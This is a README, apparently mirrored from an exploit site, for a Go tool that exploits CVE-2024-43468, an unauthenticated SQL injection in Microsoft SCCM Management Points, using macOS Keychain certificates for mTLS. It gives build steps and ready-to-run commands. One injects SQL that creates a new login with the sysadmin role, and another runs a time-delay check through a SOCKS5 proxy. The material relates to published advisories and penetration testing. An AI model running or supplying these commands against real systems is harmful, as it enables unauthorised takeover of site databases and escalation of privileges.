## https://sploitus.com/exploit?id=316931F8-DD21-5467-BF56-F39DF770EE12
# CVE-2024-43468 SCCM SQL Injection Exploit (mTLS client certs from MacOS keychain version)
Go implementation of [CVE-2024-43468](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468) exploit that uses macOS Keychain for mTLS authentication (without need to export keys from keychain).
Additionally:
- Added proxy support to not use problematic proxychains.
- Added get_cert_name.py to get certificate Common Name (yes, you can do it from Keychain Access GUI manually)
- Added a lot of debugging to see what's going on
Based on:
- [original Python exploit](https://github.com/synacktiv/CVE-2024-43468)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)
## Description
Exploits unauthenticated SQL injections in Microsoft Configuration Manager (ConfigMgr / SCCM) that allows an attacker with network access to a Management Point to execute arbitrary SQL queries on the site database.
Vulnerable versions:
- < 2403 (5.00.9128.1024)
- < 2309 (5.00.9122.1033)
- < 2303 (5.00.9106.1037)
- <= 2211
## Installation
```bash
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
```
## Usage
```bash
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
```
### Parameters
- `-t` : Target URL (required)
- `-sql` : SQL query to execute (required)
- `-cn` : Certificate Common Name in macOS Keychain (required)
- `-proxy` : SOCKS5 proxy address (default: empty)
## Requirements
- macOS (for Keychain integration)
- Go 1.16+
- Client certificate in macOS Keychain
- optional: SOCKS5 proxy
## References
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468)
- [Synacktiv Advisory](https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)